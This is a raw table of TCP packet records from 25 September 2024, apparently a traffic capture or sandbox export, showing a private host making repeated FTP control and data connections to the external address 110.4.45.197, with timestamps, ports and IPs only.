Sep 25, 2024 14:44:33.462050915 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.462052107 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.462063074 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.462100983 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.462117910 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.462125063 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.462182045 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.466599941 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.466710091 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.466762066 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.466793060 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.466909885 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.466986895 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.466995955 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.467031956 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.467099905 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.467142105 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.467153072 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.467204094 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.467212915 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.467216969 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.467226982 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.467539072 CEST	59326	65034	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:33.467593908 CEST	65034	59326	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:33.529872894 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:34.383814096 CEST	21	65029	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:34.532974005 CEST	65029	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:54.555052996 CEST	65035	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:54.560102940 CEST	21	65035	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:54.563555002 CEST	65035	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:54.570485115 CEST	65035	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:54.576594114 CEST	21	65035	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:54.579545021 CEST	65035	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:57.900409937 CEST	65036	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:57.910686016 CEST	21	65036	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:57.910758972 CEST	65036	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:57.910969973 CEST	65036	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:57.917752981 CEST	21	65036	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:57.917810917 CEST	65036	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:58.881128073 CEST	65037	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:58.918741941 CEST	21	65037	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:58.921165943 CEST	65037	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:58.921309948 CEST	65037	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:44:58.927155972 CEST	21	65037	110.4.45.197	192.168.2.9
Sep 25, 2024 14:44:58.929164886 CEST	65037	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:00.543487072 CEST	65038	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:00.550606966 CEST	21	65038	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:00.550718069 CEST	65038	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:00.551301003 CEST	65038	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:00.558691025 CEST	21	65038	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:00.558768034 CEST	65038	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:08.817389965 CEST	65039	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:08.843739033 CEST	21	65039	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:08.844121933 CEST	65039	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:08.844360113 CEST	65039	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:08.867490053 CEST	21	65039	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:08.867549896 CEST	65039	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:20.583061934 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:20.587987900 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:20.589262009 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:22.031651020 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:22.031836033 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:22.031975031 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:22.032046080 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:22.032416105 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:22.032474995 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:22.420850992 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:22.420950890 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:22.421000957 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:22.422202110 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:22.426177025 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:22.746551991 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:22.747558117 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:22.752363920 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:23.947084904 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:23.947314978 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:23.947805882 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:23.947875023 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:23.948149920 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:23.948205948 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:24.326988935 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:24.988107920 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:24.989223003 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:24.989315033 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:24.989315033 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:24.993861914 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:25.204895973 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:25.317061901 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:25.317339897 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:25.323427916 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:26.487792969 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:26.488765955 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:26.488816023 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:26.488945961 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:26.489006996 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:26.489006996 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:26.720679998 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:26.720757008 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:26.721489906 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:27.044569969 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:27.045316935 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:27.050245047 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:28.273814917 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:28.274068117 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:28.274312973 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:28.274665117 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:28.275059938 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:28.275103092 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:28.275103092 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:28.282768965 CEST	65041	54510	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:28.291805983 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:28.291870117 CEST	65041	54510	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:28.299405098 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:28.304227114 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.132098913 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.132430077 CEST	65041	54510	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:29.137347937 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.137362003 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.137372017 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.137382030 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.137392998 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.137433052 CEST	65041	54510	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:29.137481928 CEST	65041	54510	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:29.142193079 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.142206907 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.142216921 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.142226934 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.142235041 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.142255068 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.142265081 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.142273903 CEST	65041	54510	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:29.142277002 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.142287016 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.142317057 CEST	65041	54510	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:29.142347097 CEST	65041	54510	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:29.142363071 CEST	65041	54510	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:29.147042036 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.147054911 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.147165060 CEST	65041	54510	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:29.151915073 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.152673006 CEST	65041	54510	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:29.152806997 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.157519102 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.157552004 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.157562971 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.158766985 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.158776999 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.158786058 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.158793926 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.158802986 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.158812046 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.158819914 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.158828020 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.158837080 CEST	54510	65041	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:29.158956051 CEST	65041	54510	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:29.221259117 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:29.942749023 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:30.030123949 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:30.630347967 CEST	65042	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:30.982853889 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:30.983236074 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:30.983270884 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:30.983546019 CEST	21	65040	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:30.983581066 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:30.983911991 CEST	21	65042	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:30.983999968 CEST	65040	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:30.984000921 CEST	65042	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:30.991202116 CEST	65042	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:31.196229935 CEST	21	65042	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:31.198574066 CEST	65042	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:37.245209932 CEST	65043	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:37.255342960 CEST	21	65043	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:37.257318974 CEST	65043	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:37.261321068 CEST	65043	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:37.271764040 CEST	21	65043	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:37.273313999 CEST	65043	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:40.285402060 CEST	65044	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:40.290483952 CEST	21	65044	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:40.290560007 CEST	65044	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:40.290796041 CEST	65044	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:40.296174049 CEST	21	65044	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:40.296235085 CEST	65044	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:58.989283085 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:58.994298935 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:58.994457960 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:59.895040035 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:45:59.895211935 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:45:59.900120974 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:00.261992931 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:00.263067961 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:00.267971039 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:00.671087027 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:00.671309948 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:00.676263094 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:01.057591915 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:01.058243990 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:01.063272953 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:01.437719107 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:01.437848091 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:01.442898035 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:01.818774939 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:01.818973064 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:01.823784113 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:02.210742950 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:02.211282969 CEST	65046	58978	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:02.216226101 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:02.216367006 CEST	65046	58978	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:02.216464043 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:02.221261024 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.095990896 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.097570896 CEST	65046	58978	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:03.109357119 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.109509945 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.109524965 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.109554052 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.109566927 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.109579086 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.109608889 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.109631062 CEST	65046	58978	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:03.109671116 CEST	65046	58978	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:03.111073017 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.111087084 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.111116886 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.111188889 CEST	65046	58978	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:03.124712944 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.124727011 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.124738932 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.124768972 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.124798059 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.124813080 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.124871016 CEST	65046	58978	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:03.126276016 CEST	65046	58978	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:03.126605988 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.126619101 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.126646996 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.126665115 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.126720905 CEST	65046	58978	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:03.130489111 CEST	65046	58978	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:03.138257980 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.139955044 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.140079021 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.140084982 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.140734911 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.140801907 CEST	65046	58978	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:03.142123938 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.142129898 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.144275904 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.157512903 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.162501097 CEST	58978	65046	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:03.169303894 CEST	65046	58978	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:03.237051964 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:04.061877012 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:04.233382940 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:05.003916979 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:05.015419960 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:05.407233953 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:05.408917904 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:05.417830944 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:05.418198109 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:05.418234110 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:05.424572945 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.289006948 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.290004969 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.304903030 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.304936886 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.304965019 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.304965019 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.305008888 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.305205107 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.305248022 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.305275917 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.305305958 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.305473089 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.305521965 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.305521965 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.305576086 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.305617094 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.305646896 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.305690050 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.307404041 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.307456970 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.324974060 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.324990988 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.325005054 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.325027943 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.325062037 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.325078011 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.325412035 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.325424910 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.325438023 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.325449944 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.325483084 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.325493097 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.325495005 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.325535059 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.325581074 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.326847076 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.326910973 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.328279018 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.328371048 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.340783119 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.340845108 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.340904951 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.340918064 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.341016054 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.341162920 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.341222048 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.341486931 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.341499090 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.342278004 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.342890024 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.350264072 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.350294113 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.350322008 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.350333929 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.351314068 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.351342916 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.351370096 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.351382017 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.351444006 CEST	56820	65047	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:06.351516008 CEST	65047	56820	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:06.420878887 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:07.118069887 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:07.233377934 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:09.978199005 CEST	65045	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:09.990195990 CEST	65048	21	192.168.2.9	110.4.45.197
Sep 25, 2024 14:46:10.324100971 CEST	21	65045	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:10.324153900 CEST	21	65048	110.4.45.197	192.168.2.9
Sep 25, 2024 14:46:10.324235916 CEST	65048	21	192.168.2.9	110.4.45.197
